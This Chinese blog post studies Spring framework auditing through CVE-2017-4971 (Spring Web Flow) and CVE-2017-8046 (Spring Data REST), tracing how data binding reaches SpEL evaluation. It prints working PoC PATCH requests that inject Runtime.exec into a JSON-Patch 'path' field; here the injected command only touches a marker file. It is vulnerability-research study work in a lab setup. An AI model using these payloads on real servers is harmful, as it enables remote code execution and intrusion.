从spring历史漏洞学框架审计(2)

CVE-2017-4971

环境来源于vulhub,vulhub那个也是官方的example。

还是先理清路由的逻辑。仍然是DispatherServlet分发,来到FlowHandlerAdapter

image-20240801101504252

往下几层会来到ViewState的处理。

image-20240801101542707

在绑定数据的时候出现了问题。具体看addDefaultMappings和addEmptyValueMapping这两个函数。

image-20240801102141107

image-20240801102151712

这里检查参数要满足_开头,正如官方文档说的那样。然后会调用addExmtyMapping

image-20240801102236798

到这就可以了,用了Spel表达式对传入的field进行了getValue。导致了RCE。

那么从漏洞发现者的角度来看,怎么寻找这样类型的漏洞?其实还是Spel表达式的使用,且有外部数据的输入。

还有哪些场景可能会用到表达式?比如属性配置解析,复杂数据校验,动态的方法,流程啥的等等,未来可以关注一下。

思路总结:

参数绑定与表达式造成的漏洞

路由处理

CVE-2017-8046

和上面一毛一样也是数据绑定出的问题。poc:

1
2
3
4
5
6
7
8
9
10
11
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 200

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

发送patch方法的时候会出问题。

关键在这:

image-20240801111631141

来到convert

image-20240801111708536

这里提取了path的值,然后new了一个ReplaceOperation。

ReplaceOperation的父类是PatchOperation,点进去看下构造函数:

image-20240801111801252

这里用了spel表达式,再往下看。

回到刚刚的applyPatch,跟后面的apply方法

image-20240801111927960

之前的ReplcaeOperation.perform的时候,进行了setValueOnTarget

image-20240801112105466

封装了Spel表达式的setvalue。审计到这就可以结束了。

很明显还有其他的payload。

比如换成op换成add。

或者

1
2
3
4
5
6
7
8
9
10
11
12
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 357

[{ "op": "copy", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname",
"from":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

都可以。


从spring历史漏洞学框架审计(2)
http://example.com/2024/08/01/从spring历史漏洞学框架审计-2/
Aŭtoro
zhattatey
Postigita
August 1, 2024
Lizenta